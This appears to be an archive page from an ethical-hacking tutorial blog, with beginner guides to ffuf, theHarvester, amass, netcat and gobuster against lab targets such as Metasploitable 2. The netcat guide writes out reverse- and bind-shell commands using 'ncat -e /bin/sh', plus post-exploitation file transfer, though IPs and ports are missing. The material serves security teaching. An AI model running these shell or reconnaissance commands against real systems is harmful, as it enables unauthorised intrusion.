Hacking Tools Archives - Page 4 of 13

Posted on August 13, 2024February 28, 2025 by Anamar Taknev

Beginners guide to ffuf tool

Hello, aspiring ethical hackers. In one of our previous blogposts on website footprinting, you learnt that web directory scanning and fuzzing are some of the techniques used to gather information about a website. In this blogpost, you will learn about a tool named ffuf, which is a fuzzing tool known for its speed.

Written in Go language, it is considered a very fast web fuzzer available on the market. It can be used for web content discovery (director scanning), virtual host discovery, parameter fuzzing, POST data fuzzing, configuration file check etc.

In this blogpost, let’s see how to use ffuf for fuzzing. It is installed by default on Kali and we are going to use the same. Metasploitable 2 is our target as always. See how to create a virtual hacking lab with Kali and Metasploitable 2.

Just like any other directory scanner out there, you need to specify an URL and a wordlist for fuzzing with ffuf. However, unlike other directory scanners, you need to use a word FUZZ while using this tool as shown below.

Here, we are fuzzing Mutillidae installed by default on Metasploitable 2. Here’s the result of the scan.

Colorize output(-c)

It found some interesting directories. However, the output is monotonous. With ffuf however, you can colorize the output using the “-c” option.

Here’s the result.

Silent mode (-s)

If you don’t like this output or want this tool to display output without printing any additional information, you can do it with the “-s” option.

Changing HTTP method (-X)

By default, Ffuf uses HTTP GET method. We can change this using the option (-X). For example, let’s change it to use POST parameter as shown below.

Follow redirected URL’s (-r)

Many websites have URLs redirected to other URLs. By using this option, you can ask it to follow the redirected URL if it finds a redirection.

Ffuf has many filters available. Using this option, we can specify ffuf to automatically calibrate those filter options.

Delay (-D)

What is a fuzzer without the option for adding delay between requests. Ffuf too has this option to add delay between each request. For example, let’s add 3 seconds delay between each request.

Stop ffuf on getting error (-se)

If Ffuf faces an error while fuzzing, it continues scanning. By setting this option, you can ask ffuf to stop when it faces any spurious error.

Search for files with specified extension (-e)

This option is used to search for files with specified extensions.

Save output (-o)

Finally if you want to save output of ffuf to a file, this is the option to use.

Posted on August 7, 2024February 28, 2025 by Anamar Taknev

Beginners guide to theHarvester tool

Hello, aspiring ethical hackers. In one of our previous blogposts, you learnt in detail about OSINT. In this blogpost, you will learn about a tool called theharvester that is used to gather open source intelligence (OSINT) on a company or domain.

Using theHavester tool, we can gather information like subdomain names, email addresses, virtual hosts, open ports, banners and employee names of an organization from different public sources like search engines, pgp key servers, IP addresses and URLs.

theHarvester is installed by default on almost all pen testing distros. For this tutorial, we will be using Kali Linux. theHarvester is very simple to use but very powerful during footprinting stage of a red team assessment or a penetration test. It can take a domain or an organization as target as shown below.

theHarvester can list a lot of entries as part of performing OSINT. You can specify the limit to the number of entries you want to be displayed.

You can even start querying from particular entry form list of entries displayed. For example, you want to start querying from the 10th entry.

–shodan

theHarvester also has a option called “–shodan” that queries the Shodan search engine for any open ports or banners from discovered hosts. However, this requires api keys.

–screenshot

This command allows theHarvester to take screenshots of subdomains that are found.

–dns-brute

As the command explains, you can brute force DNS servers using this option.

–source

theHarvester uses many public sources to collect information. Some of them are anubis, baidu, bing, brave, censys, etc. We can even ask it to use a specific source using the “–source” command.

Learn how to perform OSINT using amass or Maltego or Spiderfoot.

Posted on August 5, 2024February 28, 2025 by Anamar Taknev

Beginners guide to amass

Hello, aspiring ethical hackers. In one of our previous blogposts, you learnt in detail about network footprinting. It is performed to discover assets of the organization that are exposed to the internet. In this blogpost, you will learn about a tool. amass that can discover majority of any organization’s exposed assets.

OWASP Amass used mainly to find assets mapped to a particular domain, perform sub-domain enumeration, autonomous system numbers (ASNs) etc. Although there are many other tools that can enumerate sub-domains etc. (for example gobuster), this tool as you can see is backed by OWASP. Let’s see how to use this tool to discover assets of an organization.

Amass is installed by default in almost all pen testing distros. For this blogpost, we will be using Kali Linux. It doesn’t have a man page yet, but we can see all the options it supports using the help option.

Amass has 5 subcommands as shown below.

Each subcommand has its own help section. For example, let’s see the “intel” subcommand first.

amass intel

The ‘intel’ subcommand is used to discover targets to perform enumeration later. We can specify an IP address, IP address range, domain etc as targets to this command.

Apart from these, even ASN can also be specified as target.

amass enum

This sub command is used to perform enumeration and network mapping of the discovered targets.

Using it, we can perform DNS enumeration too. All the findings of “amass enum” command are stored in a graph database, which is located in the amass’s default output folder. To enumerate subdomains of a domain using amass enum, this is the command.

amass enum -d owasp.org -whois

Adding, “-ip” option to the above command, we can also get IP addresses for the sub domains discovered.

Amass queries more than 80 sources to collect information. All the sources it queries can be seen using the list flag.

Learn how to perform OSINT with theharvester tool.

Posted on August 1, 2024July 30, 2024 by Anamar Taknev

Hackers guide to netcat

Hello, aspiring ethical hackers. In this blogpost, you will learn about the tool netcat and its use for ethical hackers. This tool along with Nmap is given a wide berth in ethical hacking courses as it can create any kind of connections.

Netcat, also known as swiss army knife in cybersecurity circles is a multi-utility tool that can perform various functions for a pen tester. Let’s learn about all the uses of it for ethical hackers.

Port scanning

Although not as versatile as Nmap, it can perform port scanning for you during scanning stage of a hack. It is less noisy and unconventional. Let’s see port 80 is open on our target system using netcat.

nc -zv

You can scan multiple ports at once using netcat.

nc -zv

You can even scan a range of ports at once using it.

nc -zv

Grabbing banners

There are other awesome banner grabbing tools but in case of subtlety netcat can also grab banners in its own quite sense. This may be helpful when you have completed gaining access on the target network and wish to grab banners of the services running from inside. It is easy to transport to the target network. This is how simple it is to grab banners with netcat. All you have to do is specify the text IP and port and hit ENTER.

nc

For HTTP, after specifying target IP and post, type “HTTP 1.1 100” as shown below to grab the banner.

File Transfer

This function of netcat comes useful during Post-exploitation stage after you have gained access to the target system. Netcat can help you in transferring files to the target system from the attacker system. Note that both the attacker and target systems should have netcat installed.

Let’s demonstrate this. For this, we will be transferring the same file used during tutorial of steghide. First, on the target system, type the command shown below using the name of the file to be transferred.

nc -l -p  >

Then on the attacker system, type the below command.

nc   <

Here is the file that is transferred to the target system.

Bind and Reverse shells

You have learnt about shell and different types of shells in our previous blogposts. If you want to have a quite shell after gaining access, netcat can do it for you. The most familiar scenario is gaining a reverse shell. Let’s see how to get a reverse shell with netcat. Note that there are two types of netcat available. With the original netcat, users seem to be facing some problems in gaining a shell.

Another netcat is available from the makers of Nmap. Called as “ncat”, let’s use it to get a reverse shell first. On the attacker system, type the command shown below to start a listener.

ncat -lvp

Then, type the command shown below on the target system.

ncat   -e /bin/sh

As soon as you do that on the target system, we get a shell on the attacker system.

To get a bind shell, first we need to start a listener on the target system as shown below.

ncat -lvp  -e /bin/sh

Then on the attacker system, do this.

nc

Here’s the bind shell.

Posted on July 30, 2024February 28, 2025 by Anamar Taknev

Beginners guide to gobuster tool

Hello, aspiring ethical hackers. In one of our previous blogposts, you studied in detail about website footprinting and different methods used to gather information about a website. In it you have learnt that directory scanning and subdomain enumeration is one of the techniques used to gather information about a website. In this blogpost you will learn about a tool named gobuster which can do both.

Gobuster is a tool built in Go programming language that can brute-force URIs (directories and files) in websites, DNS subdomains, virtual host names on target web servers, open Amazon S3 buckets, open Google cloud buckets and TFTP servers. It is present by default in the repositories of Kali Linux and can be installed by just typing the command as shown below.

Once installed, gobuster can be used using the same command.

There are different modes in gobuster tool for different operations. No matter what mode you use, since Gobuster is a brute-forcing tool it needs a wordlist. Let’s see how to scan web directories first. For this tutorial, we will be using Mutillidae as our target. It is installed by default in Metasploitable 2. See how to install Metasploitable 2 in VirtualBox and see how to create a web application penetration testing lab.

Let’s see how to scan directories with Gobuster.

Let’s explain the options here.

dir – to scan for directories.

-u: URL to be scanned.

-w: wordlist from which earlier are scanned.

Here is the result of this scan.

You can see that gobuster found some interesting files along with a file named “passwords”. As an exercise, scan DVWA also as it is also installed by default on Metasploitable 2.

Now, lets see how to scan for subdomains using gobuster. We have to just change the “dir” option to “dns”.

Learn how to perform directory scanning with dirb.

Category: Hacking Tools